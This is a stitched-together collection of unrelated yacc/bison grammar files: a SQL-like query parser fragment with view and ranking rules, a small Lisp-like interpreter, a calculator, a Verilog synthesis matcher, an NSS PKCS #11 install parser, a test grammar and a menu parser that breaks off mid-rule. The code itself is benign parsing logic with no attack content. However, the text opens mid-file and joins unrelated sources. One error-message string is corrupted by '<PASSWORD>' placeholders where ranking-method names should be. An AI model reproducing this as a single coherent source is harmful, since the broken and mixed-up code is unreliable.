if ((DBTYPE_BYREF == dbType1 || DBTYPE_VECTOR == dbType1) &&
(DBTYPE_BYREF == dbType2 || DBTYPE_VECTOR == dbType2))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($3->value.pwszValue);
m_pIPTProperties->SetErrorToken(
L"DBTYPE_I2, DBTYPE_I4, DBTYPE_R4, DBTYPE_R8, DBTYPE_CY, DBTYPE_DATE, DBTYPE_BSTR, DBTYPE_BOOL, DBTYPE_STR, DBTYPE_WSTR");
YYABORT(DB_E_ERRORSINCOMMAND);
}
if (DBTYPE_BYREF != dbType1 && DBTYPE_VECTOR != dbType1 &&
DBTYPE_BYREF != dbType2 && DBTYPE_VECTOR != dbType2)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($3->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"DBTYPE_BYREF, DBTYPE_VECTOR");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($1);
$1 = NULL;
DeleteDBQT($3);
$3 = NULL;
$$ = PctCreateNode(DBOP_scalar_constant, DBVALUEKIND_UI2, NULL);
if ( NULL == $$ )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY );
YYABORT( E_OUTOFMEMORY );
}
$$->value.usValue = dbType1 | dbType2;
}
;
base_dbtype:
identifier
;
property_id:
unsigned_integer
;
property_name:
_STRING
;
guid_format:
_STRING
{
GUID* pGuid = (GUID*) CoTaskMemAlloc(sizeof GUID); // this will become part of tree
if (NULL == pGuid)
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_OUT_OF_MEMORY);
YYABORT( E_OUTOFMEMORY );
}
BOOL bRet = ParseGuid(((PROPVARIANT*)$1->value.pvValue)->bstrVal, *pGuid);
if ( bRet && GUID_NULL != *pGuid)
{
SCODE sc = PropVariantClear((PROPVARIANT*)$1->value.pvValue);
Assert(SUCCEEDED(sc)); // UNDONE: meaningful error message
CoTaskMemFree($1->value.pvValue);
$1->wKind = DBVALUEKIND_GUID;
$1->value.pGuid = pGuid;
$$ = $1;
}
else
{
CoTaskMemFree(pGuid);
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken(((PROPVARIANT*)$1->value.pvValue)->bstrVal);
YYABORT(DB_E_ERRORSINCOMMAND);
}
}
;
set_rankmethod_statement:
_SET _RANKMETHOD rankmethod
{
$$ = NULL;
}
;
rankmethod:
_ID _ID
{
AssertReq($1);
AssertReq($2);
if ((0==_wcsicmp($1->value.pwszValue, L"Jaccard")) &&
(0==_wcsicmp($2->value.pwszValue, L"coefficient")))
m_pIPSession->SetRankingMethod(VECTOR_RANK_JACCARD);
else if ((0==_wcsicmp($1->value.pwszValue, L"dice")) &&
(0==_wcsicmp($2->value.pwszValue, L"coefficient")))
m_pIPSession->SetRankingMethod(VECTOR_RANK_DICE);
else if ((0==_wcsicmp($1->value.pwszValue, L"inner")) &&
(0==_wcsicmp($2->value.pwszValue, L"product")))
m_pIPSession->SetRankingMethod(VECTOR_RANK_INNER);
else
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($1->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"MINIMUM, MAXIMUM, JACCARD COEFFICIENT, DICE COEFFICIENT, INNER PRODUCT");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($2);
$2 = NULL;
DeleteDBQT($1);
$1 = NULL;
$$ = NULL;
}
| _ID
{
AssertReq($1);
if (0==_wcsicmp($1->value.pwszValue, L"minimum"))
m_pIPSession->SetRankingMethod(VECTOR_RANK_MIN);
else if (0==_wcsicmp($1->value.pwszValue, L"maximum"))
m_pIPSession->SetRankingMethod(VECTOR_RANK_MAX);
else
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($1->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"<PASSWORD>, J<PASSWORD>, DICE COEFFICIENT, INNER <PASSWORD>");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($1);
$1 = NULL;
$$ = NULL;
}
;
set_global_directive:
_SET _ID _ID
{
if (0 != _wcsicmp($2->value.pwszValue, L"GLOBAL"))
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($2->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"GLOBAL");
YYABORT(DB_E_ERRORSINCOMMAND);
}
if (0 == _wcsicmp($3->value.pwszValue, L"ON"))
m_pIPSession->SetGlobalDefinition(TRUE);
else if (0 == _wcsicmp($3->value.pwszValue, L"OFF"))
m_pIPSession->SetGlobalDefinition(FALSE);
else
{
m_pIPTProperties->SetErrorHResult(DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken($3->value.pwszValue);
m_pIPTProperties->SetErrorToken(L"ON, OFF");
YYABORT(DB_E_ERRORSINCOMMAND);
}
DeleteDBQT($2);
DeleteDBQT($3);
$$ = NULL;
}
;
/* 4.7 CREATE VIEW Statement */
create_view_statement:
_CREATE _VIEW view_name _AS _SELECT select_list from_clause
{ // _CREATE _VIEW view_name _AS _SELECT select_list from_clause
AssertReq( $3 );
AssertReq( $6 );
AssertReq( $7 );
//
// Can create views only on the current catalog
//
if ( 0 != _wcsicmp(($3->value.pdbcntnttblValue)->pwszMachine, m_pIPSession->GetDefaultMachine()) &&
0 != _wcsicmp(($3->value.pdbcntnttblValue)->pwszCatalog, m_pIPSession->GetDefaultCatalog()) )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR);
m_pIPTProperties->SetErrorToken( ($3->pctNextSibling)->value.pwszValue );
m_pIPTProperties->SetErrorToken( L"<unqualified temporary view name>" );
YYABORT( DB_E_ERRORSINCOMMAND );
}
if ( DBOP_outall_name == $6->op )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR );
m_pIPTProperties->SetErrorToken( L"*" );
m_pIPTProperties->SetErrorToken( L"<select list>" );
YYABORT( DB_E_ERRORSINCOMMAND );
}
Assert( DBOP_content_table == $3->op );
AssertReq( $3->pctNextSibling ); // name of the view
SCODE sc = S_OK;
// This is the LA_proj, which doesn't have a NextSibling.
// Use the next sibling to store contenttable tree
// specified in the from_clause
Assert( 0 == $6->pctNextSibling );
if ( L'#' != $3->pctNextSibling->value.pwszValue[0] )
{
if ( m_pIPSession->GetGlobalDefinition() )
sc = m_pIPSession->GetGlobalViewList()->SetViewDefinition(
m_pIPSession,
m_pIPTProperties,
$3->pctNextSibling->value.pwszValue,
NULL, // all catalogs
$6);
else
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( L"<temporary view name>" );
YYABORT( DB_E_ERRORSINCOMMAND );
}
}
else
{
if ( 1 >= wcslen($3->pctNextSibling->value.pwszValue) )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( L"<temporary view name>" );
YYABORT( DB_E_ERRORSINCOMMAND );
}
else if ( L'#' == $3->pctNextSibling->value.pwszValue[1] )
{
// store the scope information for the view
$6->pctNextSibling = $7;
$7 = 0;
sc = m_pIPSession->GetLocalViewList()->SetViewDefinition(
m_pIPSession,
m_pIPTProperties,
$3->pctNextSibling->value.pwszValue,
($3->value.pdbcntnttblValue)->pwszCatalog,
$6);
}
else
{
$6->pctNextSibling = $7;
$7 = 0;
sc = m_pIPSession->GetGlobalViewList()->SetViewDefinition(
m_pIPSession,
m_pIPTProperties,
$3->pctNextSibling->value.pwszValue,
($3->value.pdbcntnttblValue)->pwszCatalog,
$6);
}
}
if ( FAILED(sc) )
{
if ( E_INVALIDARG == sc )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_VIEW_ALREADY_DEFINED );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( ($3->value.pdbcntnttblValue)->pwszCatalog );
YYABORT( DB_E_ERRORSINCOMMAND );
}
else
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
YYABORT( DB_E_ERRORSINCOMMAND );
}
}
DeleteDBQT( $3 );
DeleteDBQT( $6 );
if ( 0 != $7 )
DeleteDBQT( $7 );
$$ = 0;
}
;
/* 4.x DROP VIEW Statement */
drop_view_statement:
_DROP _VIEW view_name
{
AssertReq( $3 );
AssertReq( $3->pctNextSibling ); // name of the view
SCODE sc = S_OK;
if ( L'#' != $3->pctNextSibling->value.pwszValue[0] )
{
if ( m_pIPSession->GetGlobalDefinition() )
sc = m_pIPSession->GetGlobalViewList()->DropViewDefinition( $3->pctNextSibling->value.pwszValue, NULL );
else
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( L"<temporary view name>" );
YYABORT( DB_E_ERRORSINCOMMAND );
}
}
else
{
if ( 1 >= wcslen($3->pctNextSibling->value.pwszValue) )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_PARSE_ERROR );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( L"<temporary view name>" );
YYABORT( DB_E_ERRORSINCOMMAND );
}
else if ( L'#' == $3->pctNextSibling->value.pwszValue[1] )
sc = m_pIPSession->GetLocalViewList()->DropViewDefinition( $3->pctNextSibling->value.pwszValue,
($3->value.pdbcntnttblValue)->pwszCatalog );
else
sc = m_pIPSession->GetGlobalViewList()->DropViewDefinition( $3->pctNextSibling->value.pwszValue,
($3->value.pdbcntnttblValue)->pwszCatalog );
}
if ( FAILED(sc) )
{
m_pIPTProperties->SetErrorHResult( DB_E_ERRORSINCOMMAND, MONSQL_VIEW_NOT_DEFINED );
m_pIPTProperties->SetErrorToken( $3->pctNextSibling->value.pwszValue );
m_pIPTProperties->SetErrorToken( ($3->value.pdbcntnttblValue)->pwszCatalog );
YYABORT( DB_E_ERRORSINCOMMAND );
}
DeleteDBQT( $3 );
$$ = 0;
}
;
|
<reponame>abdcelik/GTU
%{
#include <stdio.h>
#include "gpp_table.h"
#include "gpp_additional.h"
%}
%union
{
int value;
void* values;
char id[16];
}
%start INPUT
%token KW_AND KW_OR KW_NOT KW_EQUAL KW_LESS KW_NIL KW_LIST KW_APPEND KW_CONCAT KW_SET
KW_DEFFUN KW_FOR KW_IF KW_EXIT KW_LOAD KW_DISP KW_TRUE KW_FALSE
OP_PLUS OP_MINUS OP_DIV OP_MULT OP_OP OP_CP OP_DBLMULT OP_OC OP_CC OP_COMMA
COMMENT
%token <value> VALUE
%token <id> IDENTIFIER
%type <value> INPUT
%type <value> EXPI
%type <value> EXPB
%type <values> EXPLISTI
%type <values> LISTVALUE
%type <values> VALUES
%%
INPUT:
EXPI { fprintf(yyout, "Syntax OK.\nResult: %d\n", $1); }
|
EXPLISTI { fprintf(yyout, "Syntax OK.\nResult: "); vectorPrint($1); };
|
INPUT EXPI { fprintf(yyout, "Syntax OK.\nResult: %d\n", $2); }
|
INPUT EXPLISTI { fprintf(yyout, "Syntax OK.\nResult: "); vectorPrint($2); }
;
EXPI:
OP_OP OP_PLUS EXPI EXPI OP_CP {$$ = $3 + $4;}
|
OP_OP OP_MINUS EXPI EXPI OP_CP {$$ = $3 - $4;}
|
OP_OP OP_MULT EXPI EXPI OP_CP {$$ = $3 * $4;}
|
OP_OP OP_DIV EXPI EXPI OP_CP {$$ = $3 / $4;}
|
IDENTIFIER { Entry* entry = tableGet($1); if(entry == NULL) $$ = 1; else $$ = entry->val; }
|
VALUE {$$ = $1;}
|
OP_OP KW_SET IDENTIFIER EXPI OP_CP { $$ = $4; tablePut($3, $4); } // (set Id EXPI)
|
OP_OP KW_IF EXPB EXPI OP_CP { $$ = $3 == 1 ? $4 : 0; } // (if EXPB EXPI)
|
OP_OP KW_IF EXPB EXPI EXPI OP_CP { $$ = $3 == 1 ? $4 : $5; } // (if EXPB EXPI EXPI)
;
EXPB:
OP_OP KW_AND EXPB EXPB OP_CP { $$ = $3 && $4; }
|
OP_OP KW_OR EXPB EXPB OP_CP { $$ = $3 || $4; }
|
OP_OP KW_NOT EXPB OP_CP { $$ = !$3;}
|
OP_OP KW_EQUAL EXPB EXPB OP_CP { $$ = $3 == $4 ? 1 : 0; }
|
OP_OP KW_EQUAL EXPI EXPI OP_CP { $$ = $3 == $4 ? 1 : 0; }
|
KW_TRUE { $$ = 1; }
|
KW_FALSE { $$ = 0; }
;
EXPLISTI:
OP_OP KW_CONCAT EXPLISTI EXPLISTI OP_CP { $$ = vectorConcat($3, $4); }
|
OP_OP KW_APPEND EXPI EXPLISTI OP_CP { $$ = vectorAppendItem($4, $3); }
|
LISTVALUE { $$ = $1; }
;
LISTVALUE:
OP_OP VALUES OP_CP { $$ = $2; }
|
OP_OP OP_CP { $$ = vectorInit(); }
|
KW_NIL { $$ = NULL; }
;
VALUES:
VALUES VALUE { $$ = vectorAddItem($1, $2); }
|
VALUE { $$ = vectorAddItem(NULL, $1); }
;
%%
int yyerror(char* str)
{
printf("SYNTAX_ERROR Expression not recognized\n");
return 0;
}
int main(int argc, char* argv[])
{
FILE* in = openFileToRead(argc,argv);
FILE* out = openFileToWrite("output.txt");
tableCreate();
if(in && out)
setIOAndStart(in,out);
tableFree();
return 0;
}
|
<gh_stars>1-10
%{
#include <stdio.h>
#include <ctype.h>
#include <math.h>
int yylex();
int yyerror(const char * s);
void execerror(const char* s, const char* t);
void warning(const char* s, const char* t);
double mem[26]; /* memory for variables 'a'..'z' */
%}
%union { /* stack type */
double val; /* actual value */
int index; /* index into mem[] */
}
%token <val> NUMBER
%token <index> VAR
%type <val> expr
%right '='
%left '+' '-'
%left '*' '/'
%left UNARYMINUS
%%
list: /* nothing */
| list '\n'
| list expr '\n' { printf("\t%.8g\n", $2); }
| list error '\n' { yyerrok; }
;
expr: NUMBER
| VAR { $$ = mem[$1]; }
| VAR '=' expr { $$ = mem[$1] = $3; }
| expr '+' expr { $$ = $1 + $3; }
| expr '-' expr { $$ = $1 - $3; }
| expr '*' expr { $$ = $1 * $3; }
| expr '/' expr {
if ($3 == 0.0)
execerror("division by zero", "");
$$ = $1 / $3; }
| '(' expr ')' { $$ = $2; }
| '-' expr %prec UNARYMINUS { $$ = -$2; }
;
%%
/* end of grammar */
int lineno = 1;
#include <signal.h>
#include <setjmp.h>
jmp_buf begin;
void fpecatch(int s);
int main(int argc, char** argv)
{
(void)setjmp(begin);
signal(SIGFPE, fpecatch);
yyparse();
}
int yylex()
{
int c;
while ((c=getchar()) == ' ' || c == '\t')
;
if (c == EOF)
return 0;
if (c == '.' || isdigit(c)) { /* number */
ungetc(c, stdin);
scanf("%lf", &yylval.val);
return NUMBER;
}
if (islower(c)) {
yylval.index = c - 'a'; /* ASCII only */
return VAR;
}
if (c == '\n')
lineno++;
return c;
}
int yyerror(const char *s)
{
warning(s, (char *)0);
return 0;
}
void execerror(const char* s, const char* t)
{
warning(s, t);
longjmp(begin, 0);
}
void fpecatch(int s)
{
execerror("floating point exception", (char *) 0);
}
void warning(const char* s, const char* t)
{
fprintf(stderr, "%s", s);
if (t && *t)
fprintf(stderr, " %s", t);
fprintf(stderr, " near line %d\n", lineno);
}
|
%{
/*
* Copyright (c) 2000-2015 <NAME> (<EMAIL>)
*
* This source code is free software; you can redistribute it
* and/or modify it in source code form under the terms of the GNU
* General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option)
* any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
# include "config.h"
# include <iostream>
/*
* This file implements synthesis based on matching threads and
* converting them to equivalent devices. The trick here is that the
* proc_match_t functor can be used to scan a process and generate a
* string of tokens. That string of tokens can then be matched by the
* rules to determine what kind of device is to be made.
*/
# include "netlist.h"
# include "netmisc.h"
# include "functor.h"
# include <cassert>
struct syn_token_t {
int token;
NetAssignBase*assign;
NetProcTop*top;
NetEvWait*evwait;
NetEvent*event;
NetExpr*expr;
syn_token_t*next_;
};
#define YYSTYPE syn_token_t*
static int yylex();
static void yyerror(const char*);
static Design*des_;
static void make_DFF_CE(Design*des, NetProcTop*top,
NetEvent*eclk, NetExpr*cexp, NetAssignBase*asn);
%}
%token S_ALWAYS S_ASSIGN S_ASSIGN_MEM S_ASSIGN_MUX S_ELSE S_EVENT
%token S_EXPR S_IF S_INITIAL
%%
start
/* These rules match simple DFF devices. Clocked assignments are
simply implemented as DFF, and a CE is easily expressed with a
conditional statement. The typical Verilog that get these are:
always @(posedge CLK) Q = D
always @(negedge CLK) Q = D
always @(posedge CLK) if (CE) Q = D;
always @(negedge CLK) if (CE) Q = D;
The width of Q and D cause a wide register to be created. The
code generators generally implement that as an array of
flip-flops. */
: S_ALWAYS '@' '(' S_EVENT ')' S_ASSIGN ';'
{ make_DFF_CE(des_, $1->top, $4->event, 0, $6->assign);
}
| S_ALWAYS '@' '(' S_EVENT ')' S_IF S_EXPR S_ASSIGN ';' ';'
{ make_DFF_CE(des_, $1->top, $4->event, $7->expr, $8->assign);
}
/* Unconditional assignments in initial blocks should be made into
initializers wherever possible. */
;
%%
/* Various actions. */
static void hookup_DFF_CE(NetFF*ff, NetESignal*d, NetEvProbe*pclk,
NetNet*ce, NetAssign_*a, unsigned rval_pinoffset)
{
if (rval_pinoffset != 0) {
cerr << a->get_fileline() << ": sorry: "
<< "unable to hook up an R-value with offset "
<< rval_pinoffset << " to signal " << a->name()
<< "." << endl;
return;
}
// a->sig() is a *NetNet, which doesn't have the loff_ and
// lwid_ context. Add the correction for loff_ ourselves.
// This extra calculation allows for assignments like:
// lval[7:1] <= foo;
// where lval is really a "reg [7:0]". In other words, part
// selects in the l-value are handled by loff and the lwidth().
connect(ff->pin_Data(), d->sig()->pin(0));
connect(ff->pin_Q(), a->sig()->pin(0));
connect(ff->pin_Clock(), pclk->pin(0));
if (ce) connect(ff->pin_Enable(), ce->pin(0));
/* This lval_ represents a reg that is a WIRE in the
synthesized results. This function signals the destructor
to change the REG that this l-value refers to into a
WIRE. It is done then, at the last minute, so that pending
synthesis can continue to work with it as a WIRE. */
a->turn_sig_to_wire_on_release();
}
static void make_DFF_CE(Design*des, NetProcTop*top,
NetEvent*eclk, NetExpr*cexp, NetAssignBase*asn)
{
assert(asn);
NetEvProbe*pclk = eclk->probe(0);
NetESignal*d = dynamic_cast<NetESignal*> (asn->rval());
NetNet*ce = cexp? cexp->synthesize(des, top->scope(), cexp) : 0;
if (d == 0) {
cerr << asn->get_fileline() << ": internal error: "
<< " not a simple signal? " << *asn->rval() << endl;
}
assert(d);
NetAssign_*a;
unsigned rval_pinoffset=0;
for (unsigned i=0; (a=asn->l_val(i)); i++) {
// asn->l_val(i) are the set of *NetAssign_'s that form the list
// of lval expressions. Treat each one independently, keeping
// track of which bits of rval to use for each set of DFF inputs.
// For example, given:
// {carry,data} <= x + y + z;
// run through this loop twice, where a and rval_pinoffset are
// first data and 0, then carry and 1.
// FIXME: ff gets its pin names wrong when loff_ is nonzero.
if (a->sig()) {
// cerr << "new NetFF named " << a->name() << endl;
bool negedge = pclk->edge() == NetEvProbe::NEGEDGE;
NetFF*ff = new NetFF(top->scope(), a->name(), negedge,
a->sig()->vector_width());
hookup_DFF_CE(ff, d, pclk, ce, a, rval_pinoffset);
des->add_node(ff);
}
rval_pinoffset += a->lwidth();
}
des->delete_process(top);
}
static syn_token_t*first_ = 0;
static syn_token_t*last_ = 0;
static syn_token_t*ptr_ = 0;
/*
* The match class is used to take a process and turn it into a stream
* of tokens. This stream is used by the yylex function to feed tokens
* to the parser.
*/
struct tokenize : public proc_match_t {
tokenize() { }
~tokenize() { }
int assign(NetAssign*dev)
{
syn_token_t*cur;
cur = new syn_token_t;
// Bit Muxes can't be synthesized (yet), but it's too much
// work to detect them now.
// cur->token = dev->l_val(0)->bmux() ? S_ASSIGN_MUX : S_ASSIGN;
cur->token = S_ASSIGN;
cur->assign = dev;
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
return 0;
}
int assign_nb(NetAssignNB*dev)
{
syn_token_t*cur;
cur = new syn_token_t;
// Bit Muxes can't be synthesized (yet), but it's too much
// work to detect them now.
// cur->token = dev->l_val(0)->bmux() ? S_ASSIGN_MUX : S_ASSIGN;
cur->token = S_ASSIGN;
cur->assign = dev;
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
return 0;
}
int condit(NetCondit*dev)
{
syn_token_t*cur;
cur = new syn_token_t;
cur->token = S_IF;
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
cur = new syn_token_t;
cur->token = S_EXPR;
cur->expr = dev->expr();
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
/* Because synthesis is broken this is needed to prevent
* a seg. fault. */
if (!dev->if_clause()) return 0;
dev -> if_clause() -> match_proc(this);
if (dev->else_clause()) {
cur = new syn_token_t;
cur->token = S_ELSE;
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
dev -> else_clause() -> match_proc(this);
}
cur = new syn_token_t;
cur->token = ';';
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
return 0;
}
int event_wait(NetEvWait*dev)
{
syn_token_t*cur;
cur = new syn_token_t;
cur->token = '@';
cur->evwait = dev;
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
cur = new syn_token_t;
cur->token = '(';
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
for (unsigned idx = 0; idx < dev->nevents(); idx += 1) {
cur = new syn_token_t;
cur->token = S_EVENT;
cur->event = dev->event(idx);
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
}
cur = new syn_token_t;
cur->token = ')';
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
dev -> statement() -> match_proc(this);
cur = new syn_token_t;
cur->token = ';';
cur->next_ = 0;
last_->next_ = cur;
last_ = cur;
return 0;
}
};
static void syn_start_process(NetProcTop*t)
{
first_ = new syn_token_t;
last_ = first_;
ptr_ = first_;
first_->token = (t->type() == IVL_PR_ALWAYS)? S_ALWAYS : S_INITIAL;
first_->top = t;
first_->next_ = 0;
tokenize go;
t -> statement() -> match_proc(&go);
}
static void syn_done_process()
{
while (first_) {
syn_token_t*cur = first_;
first_ = cur->next_;
delete cur;
}
}
static int yylex()
{
if (ptr_ == 0) {
yylval = 0;
return 0;
}
yylval = ptr_;
ptr_ = ptr_->next_;
return yylval->token;
}
struct syn_rules_f : public functor_t {
~syn_rules_f() { }
void process(class Design*, class NetProcTop*top)
{
/* If the scope that contains this process as a cell
attribute attached to it, then skip synthesis. */
if (top->scope()->attribute(perm_string::literal("ivl_synthesis_cell")).len() > 0)
return;
syn_start_process(top);
yyparse();
syn_done_process();
}
};
void syn_rules(Design*d)
{
des_ = d;
syn_rules_f obj;
des_->functor(&obj);
}
static void yyerror(const char*)
{
}
|
<filename>src/C/nss/nss-3.16.1/nss/cmd/modutil/installparse.y
/* This Source Code Form is subject to the terms of the Mozilla Public
* License, v. 2.0. If a copy of the MPL was not distributed with this
* file, You can obtain one at http://mozilla.org/MPL/2.0/. */
/* yacc file for parsing PKCS #11 module installation instructions */
/*------------------------ Definition Section ---------------------------*/
%{
#define yyparse Pk11Install_yyparse
#define yylex Pk11Install_yylex
#define yyerror Pk11Install_yyerror
#define yychar Pk11Install_yychar
#define yyval Pk11Install_yyval
#define yylval Pk11Install_yylval
#define yydebug Pk11Install_yydebug
#define yynerrs Pk11Install_yynerrs
#define yyerrflag Pk11Install_yyerrflag
#define yyss Pk11Install_yyss
#define yyssp Pk11Install_yyssp
#define yyvs Pk11Install_yyvs
#define yyvsp Pk11Install_yyvsp
#define yylhs Pk11Install_yylhs
#define yylen Pk11Install_yylen
#define yydefred Pk11Install_yydefred
#define yydgoto Pk11Install_yydgoto
#define yysindex Pk11Install_yysindex
#define yyrindex Pk11Install_yyrindex
#define yygindex Pk11Install_yygindex
#define yytable Pk11Install_yytable
#define yycheck Pk11Install_yycheck
#define yyname Pk11Install_yyname
#define yyrule Pk11Install_yyrule
/* C Stuff */
#include "install-ds.h"
#include <prprf.h>
#define YYSTYPE Pk11Install_Pointer
extern char *Pk11Install_yytext;
char *Pk11Install_yyerrstr=NULL;
%}
/* Tokens */
%token OPENBRACE
%token CLOSEBRACE
%token STRING
%start toplist
%%
/*--------------------------- Productions -------------------------------*/
toplist : valuelist
{
Pk11Install_valueList = $1.list;
}
valuelist : value valuelist
{
Pk11Install_ValueList_AddItem($2.list,$1.value);
$$.list = $2.list;
}
|
{
$$.list = Pk11Install_ValueList_new();
};
value : key_value_pair
{
$$.value= Pk11Install_Value_new(PAIR_VALUE,$1);
}
| STRING
{
$$.value= Pk11Install_Value_new(STRING_VALUE, $1);
};
key_value_pair : key OPENBRACE valuelist CLOSEBRACE
{
$$.pair = Pk11Install_Pair_new($1.string,$3.list);
};
key : STRING
{
$$.string = $1.string;
};
%%
/*----------------------- Program Section --------------------------------*/
/*************************************************************************/
void
Pk11Install_yyerror(char *message)
{
char *tmp;
if(Pk11Install_yyerrstr) {
tmp=PR_smprintf("%sline %d: %s\n", Pk11Install_yyerrstr,
Pk11Install_yylinenum, message);
PR_smprintf_free(Pk11Install_yyerrstr);
} else {
tmp = PR_smprintf("line %d: %s\n", Pk11Install_yylinenum, message);
}
Pk11Install_yyerrstr=tmp;
}
|
<filename>caltech-parser/parserlib/kyacc/src/test.y
%start list blah
%left '|'
%nonassoc concat_expr
%right '?'
%right '+'
%right '*'
%right repeat_expr
A:
ab 'a' 'b'
B:
b 'b'
blah:
abc A 'c'
abd 'a' B 'd'
list:
empty
cons list stat '\n'
stat:
macro MACRO expr
rule RULE expr
expr:
paren '(' expr ')'
concat expr expr
or expr '|' expr
plus expr '+'
otherplus expr '+'
star expr '*'
quest expr '?'
repeat expr COUNT
ident IDENTIFIER
string STRING
charRange CHAR_RANGE
loop:
loop loop
unused:
a PROD 'a' ASSIGN
|
%{
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "buttonfly.h"
button_struct *current_button;
extern button_struct *buttons_input;
extern button_struct *selected;
button_struct *new_button(char *s);
char *strip(char *s);
%}
%union
{
button_struct *b;
popup_struct *p;
char *string;
}
%start starting
/*
* These tokens are returned by the lexer (lexer.c) -- add more as
* needed, but be sure to change the dot_tokens and token_num arrays
* below and NUM_TOKENS in buttonfly.h
*/
%token <string> MENU POPUP COLOR BACKCOLOR HIGHCOLOR
%token <string> ACTION TITLE
%type <b> starting defaults default
%type <b> buttons button
%type <p> popup
%type <string> commands command actions
%%
starting :
defaults buttons { $$ = NULL; }
| buttons { $$ = NULL; }
;
defaults: default { $$ = NULL; }
| defaults default { $$ = NULL; }
default: COLOR
{
do_color($1, selected->default_color, ".color.");
/*do_color($1, selected->color, ".color.");*/
$$ = NULL;
}
| BACKCOLOR
{
do_color($1, selected->default_backcolor, ".backcolor.");
do_color($1, selected->backcolor, ".backcolor.");
$$ = NULL;
}
| HIGHCOLOR
{
do_color($1, selected->default_highcolor, ".highcolor.");
/*do_color($1, selected->highcolor, ".highcolor.");*/
$$ = NULL;
}
| popup
{
if (selected->popup == NULL)
selected->popup = $1;
else
{
$1->next = selected->popup;
selected->popup = $1;
}
$$ = NULL;
}
| actions
{
fprintf(stderr, "\ncough, gasp, ack, pbht!\n");
fprintf(stderr, "buttonfly: can't put an action before a button in a menu file.\n");
$$ = NULL;
}
;
buttons : button
{
buttons_input = $1 ;
$$ = $1;
}
| buttons button
{
$2->next = $1;
buttons_input = $2 ;
$$ = $2;
}
| error
{
buttons_input = NULL;
$$ = NULL;
}
;
button : TITLE
{
/* Create a 'button' structure here */
current_button = new_button($1);
$<b>$ = current_button;
}
commands
{
/* Commands all add to current_button's structure */
$$ = $<b>2;
}
;
commands : command
| commands command { $$ = NULL; }
;
command : actions
{
if (current_button->action == NULL)
{ /* No actions before... */
current_button->action = $1;
}
else if ($1 != NULL)
{ /* Add to list of actions */
char *cat_strings();
cat_strings(current_button->action, ";");
cat_strings(current_button->action, $1);
}
$$ = NULL;
}
| MENU
{
if (current_button->submenu != NULL)
{
fprintf(stderr, "Warning: two submenus specicied for");
fprintf(stderr, " menu %s\n", current_button->name[0]);
free(current_button->submenu);
}
current_button->submenu = strip($1);
$$ = NULL;
}
| COLOR
{
do_color($1, current_button->color, ".color.");
$$ = NULL;
}
| BACKCOLOR
{
do_color($1, current_button->backcolor, ".backcolor.");
$$ = NULL;
}
| HIGHCOLOR
{
